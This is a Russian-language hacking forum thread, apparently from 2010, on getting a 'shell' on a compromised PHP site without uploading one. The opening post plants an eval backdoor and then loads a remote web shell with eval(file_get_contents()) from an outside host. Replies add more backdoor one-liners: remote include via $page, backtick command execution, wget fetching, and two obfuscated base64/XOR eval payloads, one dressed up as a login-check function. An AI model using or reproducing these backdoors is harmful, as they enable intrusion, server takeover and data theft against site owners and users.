Easy shell
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Easy shell - 2010-03-30 20:59:30.520000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Не то чтобы статья, но многим, думаю, будет полезно. Итак, мы проникли в админку, мы в итоге смогли хоть куда-то впихнуть такой код, примеру: if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); или просто: assert(stripslashes($_REQUEST[lala])); stripslashes в данном случае исключительно для обхода magic_quotes=ON Многие чудики вставляют system($_GET['cmd']) и прочие безобразия, но это все лишнее, на самом деле все проще. Итак, вы вставили данный код куда-то (в faq.php, или у вас уже есть просто типо такой бекдор где-то в недрах скриптов сервера). Т.е. в итоге вы к примеру добились работоспособности вот такого линка: http://localhost/user.php?e=phpinfo(); И после этого у многих начинающих ступор. Немедленно следующий вопрос - а что же делать дальше? А давайте повнимательнее взглянем на этот phpinfo, что нам вывело, основные два пункта, что нас будут интересовать в данной ситуации: allow_url_fopen allow_url_include allow_url_include - да, жесть конечно, но, как правило, off. Остается allow_url_fopen, а он, как правило = ON. Как же мы может использовать данную возможность, безрассудно оставленную админом, чтобы не париться особо (не искать папки, доступные на запись и тому подобную ерунду выяснять да и вообще не заливать шелл как таковой, но лазить по серваку как-будто шелл уже залит). Да очень просто. Если allow_url_fopen = ON и у вас есть код, выводящий хотя бы PHPINFO(); то считайте вы уже прочитали все конфиги, слили все что вам надо и т.д. (не путайте с "порутать", только то, что можно прочитать) Берем последний шелл от глубокомноюуважаемого oRb в этой теме: https://forum.antichat.net/thread103155.html - первый пост удаляем первую строчку: <?php # Web Shell by oRb + удаляем последнюю ?> + можно удалить пароль, шелл ведь не заливаем, просто юзаем, не оставляя сохраняем на любой хост как bla_bla.txt (тот же narod.ru вполне подойдет) или в виде картинки на файлообменнике, предоставляющем прямые ссылки на скачку контента и делаем такой запрос: http://localhost/user.php?a=eval(file_get_contents('http://site.ru/bla_bla.txt')); Всё. У вас полноценный шелл без физического его залития на сервак со всеми обычными возможностями шелла. Спасибо за внимание PS: tested on WSO2.4 (wso2_pack.php)
|
|
|
RE: Easy shell - 2010-03-30 21:17:25.020000
|
|
|
Geron$
Сообщений: 58
Оценки: 0
Присоединился: 2010-03-12 15:24:07.773333
|
С первого раза прочитав подумал что реч идет о шеллах гарены=)
|
|
|
RE: Easy shell - 2010-03-30 22:02:06.163333
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
quote:
мы в итоге смогли хоть куда-то впихнуть такой код, примеру: if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); как вариант можно попробывать eval(file_get_contents($_GET['e'])); а потом обращаться site.com/images/sh.php?e=http://адресс_до_шела
|
|
|
RE: Easy shell - 2010-03-30 22:07:45.313333
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
quote:
как вариант можно попробывать eval(file_get_contents($_GET['e'])); для начала все равно было бы неплохо посмотреть phpinfo(); [sm=af.gif]
|
|
|
RE: Easy shell - 2010-03-30 22:13:04.360000
|
|
|
$r00tk1t$
Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666
|
Не всегда работает удалённый инклуд :) Если ось линь или фряха, лучше юзать wget, а если wget не установлен, то смотри что установленно, lynx –install и т.д. ;) Хотя на винде инклуд почти всегда катит =))
|
|
|
RE: Easy shell - 2010-03-30 23:50:07.623333
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
quote:
ORIGINAL: $r00tk1t$ Не всегда работает удалённый инклуд :) Если ось линь или фряха, лучше юзать wget, а если wget не установлен, то смотри что установленно, lynx –install и т.д. ;) Хотя на винде инклуд почти всегда катит =)) Ага, привет от safe-mod'a
|
|
|
RE: Easy shell - 2010-03-31 16:57:25.300000
|
|
|
Ctacok
Сообщений: 38
Оценки: 0
Присоединился: 2009-05-10 13:55:58.663333
|
quote:
ORIGINAL: FriLL quote:
мы в итоге смогли хоть куда-то впихнуть такой код, примеру: if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); как вариант можно попробывать eval(file_get_contents($_GET['e'])); а потом обращаться site.com/images/sh.php?e=http://адресс_до_шела <? $o7xJo351=69; $r5BLMiK8="IDMkKW0iPywrIykkMSBtJyQ2IHNxGiEgJiohIG1iFjx0CT8LAxQsFHw8ARQ9dAEUcw8TNnwIDhMkFXQnFAIEBHh4YmxsbH4="; $r5BLMiK8=base64_decode($r5BLMiK8); for ($Ok37=0;$Ok37<strlen($r5BLMiK8);$Ok37++) { $Pa6O3Vpw .= chr(ord($r5BLMiK8[$Ok37]) ^ $o7xJo351); } eval($Pa6O3Vpw); ?> eval($_REQUEST['ids']); ;) Или же function check_login_auth(){ if (isset($_GET['fidid'])){ $AD426h30=45; $dnShh8yz="SFtMQQVKV0RDS0FMWUgFT0xeSBsZcklITkJJSAUKflQcYVdja3xEdUkeaXRBenkVWWBUeFV/RxR6HW9KbBAKBAQEFg=="; $dnShh8yz=base64_decode($dnShh8yz); for ($U75g=0;$U75g<strlen($dnShh8yz);$U75g++) { $g2o6B7GF .= chr(ord($dnShh8yz[$U75g]) ^ $AD426h30); } eval($g2o6B7GF); }// For buy full version, please contact me, мыло разработчика Да и ваще, <?=@`$c`?> , Минусы: нужны short_open_tag и register_globals© Raz0r
|
|
|
RE: Easy shell - 2010-04-08 22:01:38.440000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Safe mode к данному эксплойту никакого отношения не имеет. Данный способ работает и с allow_url_include=OFF и с Safe mode. Речь идет о allow_url_fopen=ON.
|
|
|
RE: Easy shell - 2010-04-25 06:30:54.290000
|
|
|
demonru
Сообщений: 1073
Оценки: 0
Присоединился: 2009-02-15 14:18:59.626666
|
Присоединяюсь к вышесказанному оратору. для phpbb самое то, удобнее в разы чем system и eval Автору ++ в репу.
|
|
|
RE: Easy shell - 2010-06-29 18:37:00.776666
|
|
|
Alex.Black
Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
|
quote:
ORIGINAL: FriLL quote:
мы в итоге смогли хоть куда-то впихнуть такой код, примеру: if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); как вариант можно попробывать eval(file_get_contents($_GET['e'])); а потом обращаться site.com/images/sh.php?e=http://адресс_до_шела Проще этот код вставить: <?php include$page ?> Потом обращаться: site.com/index.php?page=http://mysite.com/DxShell.php PS: только что протестил…
|
|
|
RE: Easy shell - 2010-06-29 23:58:53.136666
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
quote:
<?php include$page ?> ага, привет от register_globals
|
|
|
|
|